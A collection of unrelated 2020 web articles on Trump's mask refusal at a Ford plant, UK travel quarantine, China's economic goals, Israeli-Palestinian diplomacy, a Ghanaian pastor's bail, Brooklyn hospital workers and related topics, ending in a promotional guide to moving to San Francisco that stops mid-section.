For a moment, he also teasingly held up a clear shield in front of his face. A statement from Ford said that Bill Ford, the company's executive chairman, encouraged President Trump to wear a mask when he arrived" and said the president wore it during a private viewing of three Ford GTs from over the years" before removing it.

The United Auto Workers union noted in a statement that some in his entourage' declined face masks and said it is vitally important that our members continue to follow the protocols that have been put in place to safeguard them, their families and their communities.

The UAW also noted Trump's statement that he had just been tested for the virus and said it wanted to make sure he understood the wider need for an economical instant test that can be administered daily to further protect our members -- and all Americans.

Michigan Gov. Gretchen Whitmer said Trump's decision wasnt surprising but it was disappointing." Speaking to MSNBC, she added that anyone with a public platform has a responsiblity to make sure that they model precisely what were asking everyone else to do.

Michigan Attorney General Dana Nessel said mask wearing isnt just Fords policy  its also the law in a state thats among those hardest hit by the virus. Nessel said that if Trump refused to wear a mask Thursday hes going to be asked not to return to any enclosed facilities inside our state" and we're going to have to take action against any company that allows it in the future.

Trump has refused to wear a face mask in public, telling aides he believes it makes him look weak, though it is a practice that federal health authorities say all Americans should adopt to help slow the spread of the virus.

President Donald Trump holds his protective face mask as he speaks while touring Ford's Rawsonville Components Plant that has been converted to making personal protection and medical equipment, Thursday, May 21, 2020, in Ypsilanti, Mich. (AP Photo/Alex Brandon)

Ford said everyone in its factories must wear personal protective equipment, including masks, and that its policy had been communicated to the White House. At least two people who work in the White House and had been physically close to Trump recently tested positive for the virus.

The Republican president and Whitmer have clashed during the coronavirus outbreak over her criticism of the federal response to the state's needs for medical equipment, like ventilators, and personal protective gear, such as gloves, masks and gowns. Trump on Thursday criticized Democratic governors, suggesting they were proceeding too slowly in reopening their states' economies.

You have a lot of, unfortunately, in this case Democrat governors (who) think its good politics to keep it closed," Trump said. I think theyre being forced to open, frankly, the people want to get out. Youll break the country if you dont."

The day before, Trump threatened to withhold federal funds from Michigan after its secretary of state mailed absentee ballot applications to millions of voters. Trump first tweeted  falsely  that the Democratic state official had mailed absentee ballots to Michigan voters. He later sent a corrected tweet specifying that applications to request absentee ballots had been mailed and seemed to back off his funding threat.

Trump narrowly won Michigan in 2016. He insists mail-in voting is ripe for fraud, although there is scant evidence of wrongdoing.

We dont want them to do mail in ballots because its going to lead to total election fraud," Trump said Thursday. But then he allowed for some exceptions, including for himself.

Now, if somebody has to mail it in because theyre sick, or by the way because they live in the White House and they have to vote in Florida and they wont be in Florida. But theres a reason for it, thats OK."

Trying to signal to the nation that life is returning to normal, the president has begun travelling again, with all of his initial trips to states that will be hotly contested in this Novembers election. Campaign advisers have grown increasingly worried about Michigan, believing that the presidents attacks on Whitmer have not worked and that the toll the virus has taken in the Detroit area, particularly among African Americans, will prove costly politically.

Trump, at a roundtable with African American supporters in front of a sign with his slogan for reopening the economy, Transition to Greatness," noted low minority unemployment numbers before the pandemic and also pointed to his administration's work on criminal justice reform.

The president's advisers have become convinced that of the three Rust Belt states that Trump took from Democrats in 2016, Michigan would be much more difficult to win again than Pennsylvania and, especially, Wisconsin.

Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement.

In the early days of the crisis, Whitmer and other governors and medical workers clamoured for ventilators, fearing a shortage of the machines would prove deadly as the virus made breathing difficult for the scores of afflicted patients who were being brought to hospitals.

But the U.S. now has a surplus of the breathing machines, leading Trump to begin describing the nation as the king of ventilators.

___

Lemire reported from New York. Associated Press writers David Eggert in Lansing, Michigan, and Zeke Miller in Washington contributed reporting.

___

Follow Darlene Superville on Twitter: http://www.twitter.com/dsupervilleap and Lemire at http://twitter.com/@JonLemire
Oregon man caught in Lyon County with $760,000 of marijuana
Officials from the U.S., Russia, EU and UN will hold a video-conference today to discuss the possibility of an international meeting to restart the Israeli-Palestinian peace process, Western diplomats tell me.

Why it matters: The meeting comes amid escalating tensions, with Israel threatening to move forward with annexations in the West Bank and Palestinian leaders announcing the suspension of all agreements with Israel and the U.S., including on security coordination.

The backstory: Russia has been working, with the support of the UN and the EU, to facilitate an international meeting that would include several countries in addition to the U.S. and the Palestinians.

Western diplomats think such a meeting could provide a path to a new political process that slows or stops Israel's moves toward annexation.

Contacts between the U.S. and the Palestinians have been frozen for 2.5 years, since Trump's decision to move the U.S. embassy to Jerusalem.

Israel's new government, meanwhile, wants to take up the annexation issue within months.

The latest: Palestinian newspaper Al-Ayyam reports that UN Secretary General Antonio Guterres called Palestinian President Mahmoud Abbas on Wednesday evening to discuss the possibility of a ministerial-level meeting, to be held under UN auspices.

Guterres said the meeting would include ministers from the U.S., Russia, EU, UN and several Arab states, and asked if the Palestinians would be willing to attend.

Abbas said the Palestinians would not agree to such a meeting if it was held on the basis of President Trump's peace plan, which the Palestinians emphatically reject.

That will likely be a sticking point with the White House, which wants any meeting to take place around Trump's plan.

Today's conference call will focus on the possibility of putting the meeting together. The U.S. will be represented on the call by White House special envoy Avi Berkowitz.

Go deeper: Israeli ambassador lobbies for annexation, fearing Biden victory
Britain's mandatory quarantine on all arrivals has been slammed with some critics saying it would make more sense to quarantine those travelling from the UK's worst-hit regions to low-risk ones.

Home Secretary Priti Patel today confirmed all travellers returning to the UK will face a mandatory 14 day period in quarantine from June 8.

She said the move will help the UK protect the 'hard won progress' it has made in the fight against coronavirus and that tough border controls would help to prevent a 'devastating resurgence'.

But the briefing was met with criticism from within her own party with backbencher David Davis claiming quarantine should not be used to 'punish' countries who 'have handled the coronavirus better than us'.

Labour MP Ben Bradshaw responded to Mr Davis's tweet by stating: Not often I agree with David Davis, but he's right to say there's a stronger case for quarantining arrivals at Kings Cross from Yorkshire than on arrivals from low infection countries like Greece, Malta and Portugal.'

Yorkshire and the Humber has reported 13,685 coronavirus cases. This is significantly higher than in the South West of the country where 7,476 diagnoses have been reported.

Different parts of the UK also have a different R rate, which is used to indicate how fast the virus is spreading.

R rates calculated by the London School of Hygiene and Tropical Medicine suggest the East Midlands has the fastest spread of infection, with a rate of between 0.8 and 1.2.

Priti Patel today announced all travellers returning to the UK from abroad will face a mandatory 14 days in quarantine

Coronavirus cases in England and the R infection rate in different parts of the country. The R measures the spread of the virus

It comes after data revealed that different parts of the UK have a different R infection rate which is used to determine how fast coronavirus is spreading

British Grand Prix could be CANCELLED for the first time since 1948 The British Grand Prix could be cancelled after the elite sport was not handed any exemption to the UK government's plans to introduce a 14-day quarantine period for those entering the country. F1 stressed the need earlier this week for a quarantine exemption by highlighting the impact the new rules will have on 'tens of thousands of jobs linked to F1 and supply chains.' However, Silverstone managing director Stuart Pringle is hopeful that an agreement can be reached that allows both races to go ahead. 'I am very clear that the importance of the industry is understood by government,' he told Sky Sports. 'So I remain optimistic that a sensible and pragmatic solution, which puts the onus on the sport quite rightly to come up with the right solution, can be found.' Seven of the 10 teams on the Formula One grid have bases in England. 'This isn't just 90 minutes of an exciting sporting race. This is about getting an industry back to work,' added Pringle. 'This is about 40-plus thousand people's livelihoods being ignited.' Advertisement

On the other hand, London, which was the hardest hit part of the UK, has a current R rate of 0.5 to 0.8, the lowest in the country.

The government this week confirmed it will will not vary the lifting of lockdown by region.

Under quarantine measures , everyone coming into the country from abroad will have to give an address and phone number to public health officials setting out where they will be self-isolating.

Those officials will then be carrying out spot checks, with anyone found to be breaking the rules facing an initial fine of 1,000. Further non-compliance could result in unlimited fines.

Any foreign national who does not comply with the measures at the border could be refused entry. Ms Patel said a 'reckless minority' would not be allowed to undermine the UK's efforts to stop the spread of the disease.

It was initially understood that arrivals from France would not need to quarantine following an agreement between Boris Johnson and French President Emmanuel Macron.

But Ms Patel's announcement confirmed this was not the case and France responded by enforcing the same measures on anyone arriving from the UK.

'We take note of the British government's decision and we regret it,' an French Interior Ministry spokesman said on Friday.

He added: 'France stands ready to put in place a reciprocity measure as soon as the system actually comes into force on the British side.'

The latest Downing Street statistics show the number of daily coronavirus deaths is continuing to fall

The R number, showing the rate of transmission, remains the same at between 0.7 and 1.0 with an estimated 61,000 new infections in England every week

Passengers wearing protective clothing are seen at Heathrow Airport, London, today

However, Britons may still be able to holiday in Ireland later this summer.

Ireland's Minister for Health Simon Harris said: 'I am eager to get ahead and it's up to me to make sure we align as closely as possible with the UK and Ireland in relation to common travel areas, there's work ongoing in that area.

When asked if that meant that people in the UK could holiday in Ireland this summer and visa versa he said: 'At the moment yes'.

Critics immediately demanded to know why the border controls, which will be reviewed every three weeks, had not been introduced earlier in the crisis as Ms Patel faced accusations of having been 'too slow to act'.

The Home Secretary's decision to press ahead with the move will likely spell the end of many people's hopes of a holiday abroad in the near future.

The Home Secretary said the UK needed to protect the 'hard won progress' it has made in the fight against the deadly disease

It comes against the backdrop of a mounting backlash from airlines and the wider business community with the aviation industry warning the move 'makes no sense' and could harm the UK's economic recovery.

Virgin Atlantic has warned the quarantine requirement will mean passenger services cannot resume until August at the earliest and it has urged the government to rely on screening measures instead.

Some of the more specific details of the new system are not expected to be finalised until the House of Commons returns from its latest recess at the start of June.

Transport Secretary Grant Shapps had previously raised the prospect of 'air bridges' being put in place at a later date in order to connect the UK to low-infection countries and allow Britons to head abroad on holiday.

The confirmation of the plans comes after Australia became the first country to push for an exemption. Australian PM Scott Morrison is believed to be seeking for his country to be left out of the curbs after it almost wiped out the virus.

Ms Patel's announcement came as Britain announced 351 more coronavirus deaths, taking the official number of victims to 36,393.

The final details of the quarantine plans are expected to be finalised when the House of Commons returns following its latest recess at the start of June

SAGE experts warn 'shock' of school closures is blighting a generation The government's SAGE experts have warned the 'shock' of school closures are blighting a generation and suggested children are at low danger from coronavirus. Evidence produced by the Scientific Advisory Group on Emergencies highlights the wider damage being caused to young people by the halt to their education. Although they admit there is no certainty, a raft of papers suggest that children are less likely to be infected and infectious than adults, and teachers do not seem at heightened risk. The documents, prepared in the weeks up to May 1, float the idea of splitting classes in half and having children attend schools alternate weeks, saying that could slash the effect on the coronavirus 'R' number. Ministers hope publishing the documents will reassure the public about plans to start reopening schools from June 1. But unions insisted the SAGE evidence was 'inconclusive' and demanded delay. Advertisement

Speaking at the daily Downing Street press conference, Ms Patel said: 'The answer as to why we are bringing these measures in now is simple. It is to protect that hard won progress and prevent a devastating resurgence in the second wave of the virus.

'We are following the science and introducing public health measures that are supported by SAGE.

'This will require international arrivals to self-isolate for 14 days, that is the incubation period of the virus, so that if people have become infected overseas we can limit the spread of the virus at home.

'As we are taking this action we are taking it at a time when it will be the most effective.

'Passenger arrivals have been down by 99 per cent compared to the previous year, now we are past the peak of this virus we must take steps to guard against imported cases, triggering a resurgence of this deadly disease.'

Ms Patel said that as the domestic rate of transmission continues to fall and the number of people coming to the UK rises, 'imported cases could begin to pose a larger and increased threat'.

'This is of course a different story from when domestic transmission was at its peak and when overseas travel was at an all time low,' she added.

Ms Patel said she believed the 'vast majority' of people will 'continue to act responsibly' and comply with the latest lockdown rules.

Cyprus will ban British tourists from entering the country when it reopens on June 9 Cyprus will reopen its airports to commercial flights but British tourists will be banned from entering the country. Transport Minister Yiannis Karousos said that airports would reopen to commercial flights from June 9 after nearly three months of lockdown. The phased reopening will initially allow passengers to fly to the small EU state from about 20 countries. Britain and Russia are the island's two largest tourist markets but both are not on the initial lists amid concerns coronavirus has not been sufficiently contained in those countries. British tourists account for a third of all arrivals in Cyprus. A second phase of easing restrictions will begin on June 20, the minister said after a cabinet meeting that agreed the measures. During the first phase, visitors will need to have tested negative for coronavirus within 72 hours of arriving in Cyprus with a certificate to prove it. Cypriot residents can take the test upon arrival in Cyprus and will have to self-isolate until the result is known. Advertisement

But she warned: 'We will not allow a small minority, a reckless minority to endanger us all so there will be penalties for those who break these mandatory measures.'

People who break the rules in England could be slapped with a 1,000 fixed penalty notice. Anyone who fails to pay could then face prosecution and unlimited fines.

The devolved nations will be able to set their own enforcement approaches. Ms Patel said the Government will be 'unafraid' to increase the value of the initial fine if people flout the rules.

Critics responded to the announcement by demanding to know why ministers had not imposed such restrictions earlier on during the outbreak.

The SNP's shadow home secretary Joanna Cherry QC said that 'as usual the UK is behind the curve' and other countries have had similar measures in place 'for months'.

'The UK is finally catching up only to find other countries are in the process of moving on,' she said.

'The result is that hundreds of thousands of people have already arrived in the UK without any public health measures in place at ports of entry, to the annoyance and bemusement of the British public.

'Priti Patel needs to fully explain the scientific advice underlying her inaction to date and the action she now intends to take.'

Under the plans, travellers arriving at all ports and airports will be ordered to go into self-isolation for a fortnight and to provide an address and contact details.

They will not be allowed to accept visitors, unless they are providing essential support, and should not go out to buy food or other essentials 'where they can rely on others', the Home Office said.

There is likely to be a small number of exemptions for truck drivers and some other critical roles while transit passengers who do not formally enter the UK will also be exempt.

Public health officials are expected to conduct approximately 100 spot checks every day to ensure people are sticking to self-isolation. Those checks will start from the middle of June.

People who arrive in the UK without accommodation arranged will have to pay for Government-arranged accommodation themselves.

Despite Ms Patel insisting the policy will be reviewed every three weeks, Whitehall sources have played down hopes that the measures could be lifted before the summer holiday season.

Virgin Atlantic warned the plan would keep planes grounded.

'The safety and security of our people and our customers is always our top priority and public health must come first,' a spokeswoman said.

Airlines have urged the Government not to go ahead with the plans. They believe thermal imaging could be used instead to prevent the spread of the disease

'However, by introducing a mandatory 14-day self-isolation for every single traveller entering the UK, the Government's approach will prevent flights from resuming.

'We are continually reviewing our flying programme and with these restrictions, there simply won't be sufficient demand to resume passenger services before August at the earliest.'

The airline instead called on the Government to introduce a 'multi-layered approach' with targeted public health and screening measures to allow the safe restart of international travel.

The chief executive of the Airport Operators Association, Karen Dee, had earlier told the Home Affairs Select Committee that drastic reductions in passenger numbers 'may simply lead to a prolonged shutdown of all aviation'.

The Airlines UK trade body said thousands of jobs and the economy's recovery would be jeopardised by the plan, and warned the three week reviews must be 'robust, transparent and evidence-led'.

Chief executive Tim Alderslade said: 'Introducing a quarantine at this stage makes no sense and will mean very limited international aviation at best.

'It is just about the worst thing Government could do if their aim is to restart the economy.'

A spokesperson for the Association of Independent Tour Operators told The Daily Telegraph: 'As with so many Government 'initiatives', the 14-day quarantine rule comes across as a bit of a stab in the dark, quite possibly to be changed as quickly as it was introduced, as with the mooted air bridges.

'In reality, quarantine should have been put in place right at the start of the pandemic, as our European neighbours did  we are now out of synch with them, as they emerge from quarantine and we go into it.'

A spokesperson for the trade association for travel agents and tour operators ABTA said: 'There will be pent up demand for holidays which for many of us are an important part of our lives, and it would be helpful if the Government could indicate its criteria for the transition from the current FCO advice against non-essential global travel to the re-opening of travel to destinations.'

Earlier this week, RyanAir CEO Michael O'Leary - who has previously been an outspoken critique of some measures proposed to limit the spread of the coronavirus - again called on Irish and UK governments to abandon quarantine restrictions.

Chief scientific adviser warns UK's coronavirus transmission rate is 'close to one' Britain's chief scientific adviser has warned that the coronavirus's reproduction rate in the UK is 'potentially quite close to one', meaning that the number of new cases could start to rise again if it goes up any further. The R rate denotes the number of other people an infected patient will pass the sickness on to and it must stay at 1 or below or Britain will face another crisis. Sir Patrick Vallance said at today's Downing Street briefing: 'We're currently at an R across the UK of between 0.7 and 1. Below 1 in every area of the UK, we think, but potentially quite close to one. 'So the epidemic is either flat or declining at the moment in the UK and in most areas it's declining.' Britain today announced 351 more coronavirus deaths, taking the official number of victims to 36,393. This is the second week in a row the R rate has officially been announced as between 0.7 and 1, meaning every 10 patients infect between seven and 10 others. However, the way the R is calculated means it is out of date, and the latest calculation is based on data from around three weeks ago - before the lockdown loosened. The R is calculated by working out how fast the virus spreads by comparing data including hospital admissions, the number of patients in intensive care, death statistics and surveys to find out how many people members of the public are coming into contact with. The new number does not factor in the slight relaxation of Britain's lockdown measures, announced by Prime Minister Boris Johnson on May 13. Advertisement

'We call again on the Irish and UK governments to abandon their unexplainable, ineffective, and unimplementable quarantine restrictions,' he said.

Piers Morgan lead calls for transparency about why coronavirus carriers were able to fly into the UK in the first place.

He wrote: 'Of all the inexplicable decisions this Govt has made during the coronavirus crisis, quarantining people who fly into the UK after 20 million people have already flown in and 62,000 people have already died is the most... inexplicable.'

Nigel Farage tweeted: 'The government quarantine should have been three months ago, not now. Far too late.'

Ms Patel insisted the Government does 'recognise how hard these changes will be for our travel sector' and that ministers will work with the industry to find 'new ways to reopen international travel and tourism in a safe and responsible way'.

The British Chambers of Commerce said the decision to impose 'blanket quarantine' could 'damage international business and investor confidence' as it argued that checks at departure and arrival 'would alleviate the need for a wholesale quarantine'.

A former head of Border Force said today he was 'surprised' quarantine measures had not been brought in at UK borders sooner.

Tony Smith, now chairman of the International Border Management and Technologies Association, told the Commons Home Affairs Committee today: 'Yes I was surprised that we hadn't seen earlier measures introduced at the UK border.'

Mr Shapps on Monday raised the idea of 'air bridges' with popular tourist destinations such as Spain.

Madrid yesterday signalled it might be prepared to welcome UK tourists from July without asking them to self-isolate for 14 days.

Heathrow chief executive John Holland-Kaye said: 'We need to find a way that the vast, vast, vast majority of people who don't have a disease can still fly.'
China Recalibrates Economic Goals Following Pandemic

By Jingxun Li May 20, 2020

Chinese leaders are expected to begin charting out a new economic development plan Friday as part of major meetings of top officials in Beijing.

The annual "Two Sessions" meetings, considered among the most important political events for top lawmakers and political advisers, are likely to result in major adjustments to the country's economic goals.

Observers also are waiting to see if Chinese Premier Li Keqiang will announce the country's GDP growth targets in the report that sets the tone for economic development throughout the year.

Already, the economic toll from the COVID-19 pandemic has forced major changes to national goals. Chinese officials had previously highlighted 2020 as the year when officials vowed to complete building a "moderately prosperous society," when the gross national product and average income per capita would be double what it was in 2010.

That target is likely already a fantasy, after the economy reportedly contracted 6.8% this year compared with the first quarter of 2019. The International Monetary Fund estimated the Chinese economy could expand 1% to 1.5% in 2020.

Nicholas Lardy, an expert on China's economy at Peterson Institute for International Economics, said the 2020 target will still likely be fulfilled within the next year.

"This is an objective set forth quite a few years ago, and maybe it's going to take them an extra six months to get there," Lardy said.

Li Keqiang earlier said that as long as China can keep unemployment under control this year, it does not matter if it has a higher or lower annual growth rate.

Private companies? State owned?

One major dilemma for Chinese authorities for years has been how to encourage more private companies and shrink inefficient state-owned enterprises. That is expected to remain a key issue, even though it's not on the Two Sessions agenda this year.

Beijing has said it would open up more sectors to private firms and reduce direct government interference in microeconomic activities. In the newly released plan for economic structural reform, Beijing tries to highlight a mixed ownership.

Lardy said that Beijing had been pursuing mixed ownership since 1995 when they passed the new corporate law, and mixed ownership has preceded fairly broadly within the state-owned enterprise sector. But, according to Lardy, the performance of state companies has basically been going down for 10 years.

"So, maybe they're going to implement it in a different way, or they're going to have different things. But, that's an example of something that I did not find so impressive because I think doubling down on mixed ownership, I don't see any reason to think it's going to be transformative," Lardy said.

The National People's Congress, delayed from early March because of the coronavirus outbreak, will start on May 22. The Chinese People's Political Consultative Conference will start one day earlier on May 21.

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When Avengers Endgame came out last year, the die-hard Marvel fans went through it with a fine toothcomb, making sure that Russo Brothers managed to pull off the film without any continuity issues. Well, the film did create plot holes as it amalgamated moments from 20-odd films in the past to give MCU followers a closure of sorts.

However, the eagle-eyed fans seem to have missed out on one mistake. During the time heist as the Avengers embark on three different missions to retrieve the Infinity Stones, not everything happens as per plan. Things go awry in New York but The Hulk is successful in getting the Time Stone from the Ancient One. As she is seen defending the Sanctum against the Chitauri, she easily gets the better of The Hulk.

Refusing to hand over the stone to him, she says it is the duty of the Sorcerer Supreme to protect the Time Stone. However, she relents when Hulk says that Doctor Strange handed it over to Thanos.

Strange is meant to be the best of us, she says, accepting there must be a reason why he did so. However, this does not tie up with what we saw in the characters origin story, Doctor Strange. When Strange visits Kamar-Taj, she refuses to teach him.

Stubbornness. Arrogance. Ambition. Ive seen it all before... I cannot lead another gifted student to power, only to lose him to the darkness, she tells Mordo in a private concersation, as she also speaks about films villain Kaecilius. If she was aware of Doctor Strange in 2012 when the Battle of New York took place, why did she refuse to teach him in 2016 when Doctor Strange is set? This is clearly a plot hole that avoided detection at the time of the films release.

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When it comes to voter trust on coronavirus and health care, former Vice President Joe Biden has an edge over President Donald Trump.

But Trump, whos been eager to get the economy churning again amid a pandemic thats produced Great Depression-level unemployment, still maintains a slight lead over his likely Democratic challenger in terms of voters trusting his handling of the economy, according to the latest Fox News Poll.

Voters trust Biden more than Trump on health care by a 17-point margin, 50% to 33%, the poll found. On COVID-19 in particular, a topic the candidates have consistently sparred over, Biden is favored by 9 points, 46% to 37%.

Voters also trust Biden over Trump, 43% to 37%, on relations with China, where the pandemic originated and where Trump has worked to revamp trade deals.

But 45% of voters trust Trump to better manage the American economy, compared to 42% for the former Delaware senator.

The poll found that 88% of voters are concerned about coronavirus and 78% are worried about the economy, which has nosedived since the pandemic spread and sparked state and federal advisories to avoid travel and practice social distancing. In January, 55% of voters surveyed believed the economy was in excellent or good shape; now 78% described it as only fair or poor, Fox News found.

Biden has slammed the Trump administration for its coronavirus response, arguing the president downplayed the virus instead of aggressively and responsibly responding to it. Bidens current pinned tweet is, I cant believe I have to say this, but please dont drink bleach, following Trumps late-April public pondering of whether disinfectant, light and heat could somehow treat coronavirus.

Trump and his campaign, meanwhile, have mocked Biden over a range of issues, including the Obama-Biden administrations handling of the swine flu pandemic, allegations of conspiracy theories involving wrongdoing by Biden and Obama, and Bidens gaffes and livestream mishaps while getting a digital campaign going against the robust Trump re-election operation.

The poll, which recently surveyed more than 1,200 randomly selected registered voters, comes as Democratic and Republican leaders and the Trump administration have sparred over the next potential stimulus package amid the pandemic.

Trump, who has said his administration is in no rush to move forward with another stimulus after pumping more than $3 trillion into the economy in recent months, noted Thursday that his team had been negotiating with lawmakers.

Were working on a package of very positive things, Trump told reporters, noting hed just met with Senate Majority Leader Mitch McConnell.

McConnell has said theres no chance the Senate passes the recent $3 trillion bill passed in the House, saying Congress should wait and evaluate the effectiveness of previous relief packages.

McConnell also told House Republicans this week that whenever another package is approved, it will not include the expanded unemployment benefits Democrats want to see continued through the year, Politico reported.

House Speaker Nancy Pelosi on Wednesday said theres no reason to wait to provide relief to Americans amid an unprecedented virus and economic downturn.

The Health and Economic Recovery Omnibus Emergency Solutions (HEROES) Act approved by the House last week would provide funds to local and state government, hazard pay for health care workers and another round of direct cash payments to tens of millions of Americans.

We dont take a pause because hunger doesnt take a pause, losing your job doesnt take a pause, paying your rent doesnt take a pause, she said.

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Some relatives of pastor Daniel Obinim, founder of the International God's Way Church (IGWC), are complaining bitterly that the Police Administration is making it difficult for them to get bail for the pastor.

Obinim was granted bail by a Magistrate Court in Accra on Tuesday in the sum of GH100,000 with three sureties, one to be justified.

The maverick pastor, who claims to be an angel of God and has been frequenting heaven, is still being detained because he has not been able to extricate the bail bond, according to sources.

Two of Obinim's supposed relatives, Elsie Asiedu and Jennifer Quartey, who are claiming to stand surety for Obinim, said yesterday that the police were impeding their effort to get the pastor freed from custody.

They alleged that the CID officers were scheming to keep the controversial pastor in their custody.

The duo said on radio that the police had shown little interest in facilitating the execution of the bail for Obinim despite providing them with all the necessary documentations required for the legal exercise.

They want the police to obey the orders of the court and grant bail to Obinim, dismissing as untrue claims that the pastor remained in custody because of his inability to meet bail conditions set by the court.

Bishop Obinim was arraigned at an Accra Magistrate Court on Tuesday and charged with publication of false news and forgery of document contrary to sections 208 and 159 of the Criminal and Other Offences Act 29 of 1969.

He was granted GH100,000 bail with three sureties, with one person to be justified, but remains in custody because of his inability to meet the bail condition, according to the Head of the CID Public Affairs, DSP Juliana Obeng.

She told DAILY GUIDE that the pastor was still going through the bail processes and had not left their custody yet.

Obinim is expected back in court on June 1, while the police conduct investigations into other offences levelled against him.

Main Complainant

Although the police have not released the identity of the complainant, DAILY GUIDE understands that it was through the effort of firebrand Member of Parliament (MP) for Assin Central Kennedy Ohene Agyapong that led to Obinim's arrest.

The MP has vowed to expose pastors and other spiritualists that he deems to be fake and has accused Obinim of being one of them.

Kennedy Agyapong has confirmed that he personally reported the pastor to the Inspector General of Police for offences including fraud, money laundering and misuse of the police logo to harass some of the boys he has been having criminal deals with.

Previous Cases

Obinim is no stranger to criminal prosecution as he has had brushes with the law on at least two occasions.

In the first case, he vandalized a private radio station  Hot FM  but was acquitted and discharged in October 2015 after the complainants had allegedly lost interest in the case.

In September 2018, Obinim and two of his pastors were sentenced to a total fine of GH12,000 by an Accra Circuit Court after they had been accused of assaulting two teenagers on the church premises.

---Daily Guide
Healthcare workers dancing outside of The Brooklyn Hospital Center on May 19, 2020.

Natalie Colarossi/Insider

I live near The Brooklyn Hospital Center in New York City, and every day at 7 p.m., healthcare workers come outside in their full personal protective equipment (PPE) to dance while the neighborhood cheers them on.

Inspirational songs like "Lean On Me" or "Beautiful" typically blast while neighbors bring signs, bells, and whatever else they have to make some noise.

A line of NYPD cars comes to pay tribute, as well. I look forward to this moment every day.

Visit Insider's homepage for more stories.

If you're not living in New York City during the pandemic, you might be wondering how we're even getting by. The numbers are staggering, the reality is harrowing  the city has been hit by the coronavirus really, really hard.

But there's a certain resilience that New Yorkers have that keep the spirits of a pre-pandemic city alive. I see moments of kindness on my walks through Brooklyn every day.

Written in chalk down the street, the sidewalk reads: "Tough times never last, but New Yorkers do!"

A healthcare worker looks out as a crowd of people gather to cheer her on at The Brooklyn Hospital Center on May 19. 2020.

Natalie Colarossi/ Insider

Over the last few weeks, I've seen seen multiple neighbors bring bags of groceries to homeless people on the street. And all throughout my block, rainbows made by children dot the windows with encouraging messages to "Stay hopeful," "Be kind," and "Keep your head up."

But perhaps my favorite moment of resilience comes every day at 7 p.m., when New Yorkers take to their stoops, balconies, rooftops, and windows to cheer for the essential workers keeping this place alive.

A healthcare worker claps with her colleagues at The Brooklyn Hospital Center on May 19, 2020.

Natalie Colarossi/ Insider

Without fail, people line the streets to clap for the city's heroes. It's become one of my favorite moments of quarantine, and one of the most important reminders of why I still want to live in a city that's been so devastatingly hurt.

I live about a 15-minute walk from a hospital in Brooklyn, located near a neighborhood park. I typically go to the park in the evening to clear my head after work, and each night that I do, I'm greeted with the inspirational sounds of a city coming together.

Story continues

A healthcare worker reaches her arms out to embrace the community at The Brooklyn Hospital Center on May 19, 2020.

Natalie Colarossi/Business Insider

Every night at the hospital, healthcare workers come outside while crowds gather (at a safe distance, of course) to cheer them on. Someone always brings a massive speaker, and inspirational songs such as Bill Withers' "Lean On Me" or Christina Aguilera's "Beautiful" blast through the streets.

And we dance.

A Healthcare worker dances outside of The Brooklyn Hospital Center on May 19, 2020.

Natalie Colarossi/Insider

In the most defiant of spirits, and in their full PPE, healthcare workers come outside to celebrate one another.

Healthcare workers dance outside of The Brooklyn Hospital Center on May 19, 2020.

Natalie Colarossi/ Insider

Healthcare workers dance outside of The Brooklyn Hospital Center on May 19, 2020.

Natalie Colarossi/ Insider

Crowds stand in front of them holding encouraging signs saying, "Together we shall overcome" and, "Our hearts are with you."

Two girls hold up signs of encouragement as they cheer for healthcare workers outside of The Brooklyn Hospital Center on May 19, 2020.

Natalie Colarossi/ Insider

And a line of NYPD cars come in every night to cheer, too.

NYPD officers gather to clap for essential workers outside of The Brooklyn Hospital Center on May 19, 2020.

Natalie Colarossi/ Insider

The result is an inspiring reminder that, even in the darkest times, we can take a moment to celebrate one another, and thank those who are fighting on the frontlines.

This is the New York that I know and love.

A healthcare worker claps outside of the Brooklyn Hospital Center on May 19, 2020.

Natalie Colarossi/ Insider

Read the original article on Insider
When we talk about the biggest cities all over the world, we can never forget the greatness of San Francisco. It is a hub for all businesses. The city proves to be the best place to start up a new business or enhance the old one. Many people dream about having a business and a home in San Francisco but living there is not as easy as it seems.

Undoubtedly, you can have new opportunities regarding your business, but you also have to face some difficulties that you may not have to face in other cities. If you lived in a small town previously, you may have to bear some more hardship in settling in San Francisco, along with many new opportunities to grow higher in the business world. We are here to share with you some pros and cons of moving to this big city to help you make your migration smooth. Without any further ado, let's get started!

Some facts about San Francisco

San Francisco is a city in the Northern California which is the commercial, cultural, and financial center of the zone. The name comes from Spanish "Saint Francis" who was one of the most respected religious people in the history. With 17000 people per square mile, San Francisco is among one of the densely inhabited metropolitans in the state.

Having an inhabitant of more than 850000 and covering an area of 46.89 square miles. It has a massive urban area with more than 4.6 million people living there and is a center of the San Jose-San Francisco-Oakland city area which is home to more than 8.7 million people.

How to move to San Francisco?

When you plan to shift from a small city to San Francisco, you will need to get help from local movers San Francisco for relocation. They will help you to the fullest in transporting your heavy luggage from one place to the other. Many companies provide their services for movers, which will help you move within and out of the city. Their trusted services help you to move from one place to the other comfortably. Hire one for your luggage transport and get a ticket for you to travel within and out of the city.

Pros of moving to San Francisco:

There are many benefits that you can enjoy if you are planning to move to San Francisco. No matter what your intention is for migration, there are many advantages of waiting for you to get a happy life there. Although we can't put all the benefits of moving to San Francisco here, yet we collected some of the notable perks of moving to a big city. Let's have a view!

Climate:

A fantastic climate will welcome you to the city with a cool breeze if you move from a small town to San Francisco. The fresh air of San Francisco is the biggest attraction for the people who are not the dwellers of San Francisco. You don't have to bear the hot climates here than can become unbearable sometimes. The best thing is that the climate remains pleasant throughout the year. So, you don't have to worry about the severe weather of San Francisco, for its mild climate would make your movement more fantastic.

Public transport facility:

San Francisco is going to help you a lot in the matter because people who don't have their transport like cars or any other thing. The public-friendly public transport of San Francisco will help you out in moving to the city. The public transport in San Francisco covers the entire city, making it suitable for the people who have nothing for their movement in the town. Movers contributes a lot in traveling within and out of the city.

Recreational spots:

The city is famous for having amazing recreational spots. People from all over the world travel around to reach San Francisco, where they can enjoy the best days of their lives. Consisting of many amusement parks, playlands, seven-star hotels, island trails on the ferry, mountain climbing spots, San Francisco is the biggest attraction for the tourists so, if you are going to San Francisco, congratulations! You are going to be one of those lucky people who live in the heart of such a beautiful place.

Food variety:

In some cities, finding food that you like the most is indeed a struggle, but in San Francisco, you don't have to face any difficulty in finding the best food. All the hotels provide you with almost all types of cuisines from three stars to seven-star hotels in San Francisco. These include Chinese, Thai, Korean, Italian, continental, etc. if you are a foodie and like to try many varieties of food, San Francisco is the ultimate city for you.

Cultural diversity:

